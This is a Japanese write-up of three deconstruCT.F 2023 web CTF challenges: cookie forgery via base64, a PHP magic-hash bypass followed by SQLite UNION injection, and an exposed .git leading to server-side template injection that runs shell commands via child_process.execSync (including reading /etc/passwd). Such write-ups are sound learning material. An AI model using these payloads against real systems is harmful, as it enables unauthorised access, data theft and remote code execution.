deconstruCT.F 2023 writeup
web
where-are-the-cookies
ヒントが何もない
robots.txtを覗いて見る
User-agent: *
Disallow: /cookiesaretotallynothere
なんかパスがあるのでアクセスしてみる
しかしNo cookies for you today!
と言われてしまう
悲しい
ここでcookieを見てみると何か付与されていることに気づく
caniseethecookie=bm8==
が新しくついている
bm8==
は=でおわっているためbase64encodeされてそうだと思ったのでdecodeする
すると、noという文字であることが判明する
noならばyesにしてみれば何か起こりそうなのでyesをbase64encodeしてeWVz
をvalueにする
ページを更新してみるとflagを入手
why-are-types-weird
面白かった
最初のページのhtmlを見るとコメントアウトされている箇所がある
コメントアウトを外すとphpのソースコードが閲覧できる
<?php
if (isset($_GET['but_submit'])) {
$username = $_GET['txt_uname'];
$password = $_GET['txt_pwd'];
if ($username !== "admin") {
echo "Invalid username";
} else if (hash('sha1', $password) == "0") {
session_start();
$_SESSION['username'] = $username;
header("Location: admin.php");
} else {
echo "Invalid password";
}
}
hash('sha1', $password) == "0"
が怪しい
調べてみると有用そうなサイトが出てくる https://medium.com/@codingkarma/not-so-obvious-php-vulnerabilities-388a3b7bf2dc
マジックハッシュという脆弱性が存在しているらしい
hashにかけた後の値が0eから始まると、0と比較した際にTrueになってしまう
↓のサイトにマジックハッシュ脆弱性を再現できる値がまとまっているので利用
するとadmin pageとしてuser idを指定するとそのuserのusernameとpasswordを取得できるページに遷移する
まず文法的におかしい入力をするとsqliteのエラーが出ることがわかる
次に、SQLiが効くかどうか試すために1 or 1=1 /*
を試すと、すべてのユーザーが取れていそうなのでSQLiできそうなことがわかる
このとき、flagのようなものが取得できるが、dummyである(1敗)
SQLiのcheat sheetを見て、sqliteの項目を確認する
1 UNION SELECT tbl_name, NULL, NULL from sqlite_master /**
を入力して、他にtableがないか確認する
するとpower_users
というテーブルが存在することがわかる
なので、1 UNION SELECT * from power_users /**
でpower_usersを取得するようにしてflagゲット
gitcha
.gitがあるっぽいのでアクセス
gitのファイルを全部コピーするスクリプトを作成
そしたらソースコードが見れるので見てみる
const checkAdmin = (req, res) => {
if (req.cookies["SECRET_COOKIE_VALUE"] === "thisisahugesecret") {
return true;
}
return false;
};
ガバセキュリティを超えてadminになれそう
その状態で/supersecretにアクセスするとnoteが投稿できるページに遷移する
試しに何か投稿してみると一つ目の投稿なのに何故かid=7から始まる
先ほど復元したgitの履歴からsqliteのdbがあることがわかる
ここの中にNoteというtableがあるが、その中身を見てみると何やらtemplate injectionされてそうな値が入っていることがわかる
sqlite> select * from Note;
1|asdasd|asdasd
2|asdasd|asdasd
3|{{7*7}}|asd
4|{{7*7}}|asd
5|asdasdasdasd|{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
6|asdasdasdasd|{{range.constructor("return global.process.mainModule.require('child_process').execSync('ls -la')")()}}
試しに先ほど見つけた投稿フォームに{{range.constructor("return global.process.mainModule.require('child_process').execSync('ls -la')")()}}
を入れてみるとflag.txtが存在することを確認できる
よって{{range.constructor("return global.process.mainModule.require('child_process').execSync('cat flag.txt')")()}}
を行なってflagを入手して終了’
Discussion